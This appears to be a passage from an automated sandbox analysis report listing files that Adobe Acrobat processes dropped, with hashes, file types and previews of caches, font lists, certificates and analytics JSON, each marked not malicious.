C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.22223589952686
Encrypted:	false
SSDEEP:	6:iO41EtF4+q2PcNwi2nKuAl9OmbzNMxIFUtS1ErZmws1EjUdVkwOcNwi2nKuAl9Ob:7YMvLZHAa8jFUtq6/k3j54ZHAa84J
MD5:	C795D91F166F2E79EC138C121C5F358F
SHA1:	B26D586F873BC4F81372292F681218D75096147F
SHA-256:	D80A703628C304EFE6E421EC3864DA95ABED9793870468CF323868BDEE815A05
SHA-512:	860B89F271D157A2BC4D1901827BA56EBF4B61C09A58E68F62DE624E4E16B3E8FD2537280CC37F69C2A890ABCC5C1D2B4F9094297B08F4C09EC6D0FECFE3D9BE
Malicious:	false
Preview:	2025/01/10-16:23:40.196 1e78 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-16:23:40.197 1e78 Recovering log #3.2025/01/10-16:23:40.202 1e78 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 16, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 16
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438835906942595
Encrypted:	false
SSDEEP:	384:CeTci5G3iBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:cvurVgazUpUTTGt
MD5:	F885A226D891915E9EC4AE62E792A880
SHA1:	4F86DAB817AAD15877416221451364F052BFA274
SHA-256:	ABC9C9DF4AE0D7505676BCCC4FD4E5B60491F13616BEC275065D425FE99128FF
SHA-512:	06EA627763B0D245F03D7E0CF622C671313846E5EBC161143A8D1E6252078F53F117CBC6CBB50A4D3E554C9BE0CD45BB655EC498EF3815D705150B0B29BE45CA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.214664119935363
Encrypted:	false
SSDEEP:	24:7+t+j6wKrqL7zkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9Mzn:7MmWrq/mFTIF3XmHjBoGGR+jMz+Lh2
MD5:	8E8D79193A154844BA4910B66EC326D5
SHA1:	887C2077AA168C294F1E698BCCC9B3EB3F220711
SHA-256:	BF3D8220C55085B68D3317BD2A9732DC6DB6511CBBD68C7F9823A5CC9FB3079A
SHA-512:	34CF93A9B8545C02EB795367C701E4854CAA10C81BDD7F4D4EB4A882AE99BE0743470EBD7251D22C5541625C8CF0A6F25AFD651FFD701F971C964FB1CBD909A2
Malicious:	false
Preview:	.... .c.....b,.~........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFkl0GdstfllXlE/HT8kk7vNNX8RolJuRdxLlGB9lQRYwpDdt:kKtG+eT8nRNMa8RdWBwRd
MD5:	89C1EB87CA60AA3496FB35397D2D9EC7
SHA1:	B4F346B10B239F0E19D4FCF34C78C2BFA46BB1AA
SHA-256:	63902C455F3C6C2AE3D320C9AF7A77BBC9FE440C7F3C55E3325667C65FD8A867
SHA-512:	0423455DDB50A0452963950EA9DF943C5666DD61EEA2FE22C79FCEBD021027663D77810F7C84FEB67BED5C29B5A2CE4721134DDF628B51F0C41B6FAC020BE5EE
Malicious:	false
Preview:	p...... ........G7P.c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.229732757436726
Encrypted:	false
SSDEEP:	6:kKx1L9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:viDImsLNkPlE99SNxAhUe/3
MD5:	9EA42ACB827B2291D457F5F782DC3C21
SHA1:	162467991074BB9A29A88E86A8C63F8999377BFA
SHA-256:	336E8AF4B84BE489C2E820B02628156E8427BB9BEA2C11CE8A19C3BA22482883
SHA-512:	B5849B656B71B8EA5B99F21E686CEF7533C2DB46BD67FE6A46858E3BA5AC3D021A21915047FDAC0CCFC712F0A0F485982C150D768298580D4C883D3C4CB9122F
Malicious:	false
Preview:	p...... .............c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7348

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7348

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3733870029870365
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHIlyMnWsGiIPEeOF0YboAvJM3g98kUwPeUkwRe9:YvXKXwssdTeOkGMbLUkee9
MD5:	32614004E937649354D830D89901103C
SHA1:	8DA6140AEA5D80F6D45CD55A5AB1DB7A7E8DE674
SHA-256:	8B805F5D6D4D136C0780672BECF199AAA38A7A3D6A5DAF38ADBA7FCBCADBE489
SHA-512:	F53498941E6778D8BA42E341173926B8FA874D79C5C17A22190F980D851F2E9895DE8D81C0E6F89492CB8F8DBF4A8B7FCDEC8A9AC1C83A138CA42F8BC4615FA2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"082133b4-a1ae-419c-b590-b277485baed5","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736719038348,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.310756096248537
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHIlyMnWsGiIPEeOF0YboAvJfBoTfXpnrPeUkwRe9:YvXKXwssdTeOkGWTfXcUkee9
MD5:	38663D195ED66544A933992FD0807B00
SHA1:	8A336B1642E4F856713A78826B9957343CF15396
SHA-256:	3166DE39DC2DA01AC4A84F62D2683AB498DFC22E09A9E52025FF4406FEA1DCE2
SHA-512:	6316CB4568C352250AB3323C35D4530F3AB1EFACB94C51ACB18CA77333438FB3398C61A0BEF9272E60A7B10A94B830BEA96E475BAC7C3537E0B5935A7F75F098
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"082133b4-a1ae-419c-b590-b277485baed5","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736719038348,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.289751131643613
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHIlyMnWsGiIPEeOF0YboAvJfBD2G6UpnrPeUkwRe9:YvXKXwssdTeOkGR22cUkee9
MD5:	D7DF321E3528A70E3FB77712A62BABE1
SHA1:	6D67795752B4C3CDAEAFE61B3E281A4EBB247603
SHA-256:	9963E6A6C0781F5088EA306D21EC2789609FC9DFD59A35D32683FBF552C0D873
SHA-512:	ED32338095FD763203C8BA6053B647EBB5A6504C7514B60E1A229027139E01623FC09C86A1C8DA2D3540476FBAC93E8CC4A10BD158B58D9B6ADBEF0C1C1B6EAC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"082133b4-a1ae-419c-b590-b277485baed5","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736719038348,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.360617011989916
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHIlyMnWsGiIPEeOF0YboAvJfPmwrPeUkwRe9:YvXKXwssdTeOkGH56Ukee9
MD5:	51507E3DCC14EEB750AB0D76743BD9B2
SHA1:	57FD069400E1080A4D70C8E478687B0E5F56B122
SHA-256:	3B8FD2C3CBA77485147381D0B5C53693851E1EC32636FF700510B02B19455F21
SHA-512:	C8239FA29FB717C16A042FD3B1B4BEC8824953C848F82CF208E1E7BD504018DD79A1A3DCD8A8187CEF5E1A1B48905910B70E917067F5E9F127275C13919947B0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"082133b4-a1ae-419c-b590-b277485baed5","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736719038348,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.689243455634602
Encrypted:	false
SSDEEP:	24:Yv6XlmeOhpLgE9cQx8LennAvzBvkn0RCmK8czOCCSzAS:YvheChgy6SAFv5Ah8cv/zz
MD5:	F63241584E50957F9D5EC1F7D5DFCD1E
SHA1:	0AD56231E10E5E402272D3BC9512E979B6F70D6D
SHA-256:	77B4CFB93730BA8052CF293038AC515C1F7ED3A431A53925B5387AFE84433441
SHA-512:	C20C78166DB02CD6A0CD7ABFEF1CB1340D1AE6A51107D6D2952A15D73B61E403A4D38E071A95B1CEC2180B0E09E1A2CB9EFDE056104C81D93152BE42E5FE6489
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"082133b4-a1ae-419c-b590-b277485baed5","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736719038348,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.297195367339931
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHIlyMnWsGiIPEeOF0YboAvJf8dPeUkwRe9:YvXKXwssdTeOkGU8Ukee9
MD5:	1D0F05DC41F0F40B15B5280735C17122
SHA1:	C65100B151FCB1E471A2519C07F0149DDFD08CB2
SHA-256:	94502B0E8B5D428BD1554E9C7898DDBDBC90267AF37D9BE8EFF15285B4FAE2B5
SHA-512:	7D6C8FEC2A0822A22701D012EEDDBC9DC17BCF6054C922132C6D1C3D8ED477C3E69602D7AE0095967E3C66F08C9CBEA6DF8200F28A2F1F20CF92990FA2FCCCF6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"082133b4-a1ae-419c-b590-b277485baed5","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736719038348,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
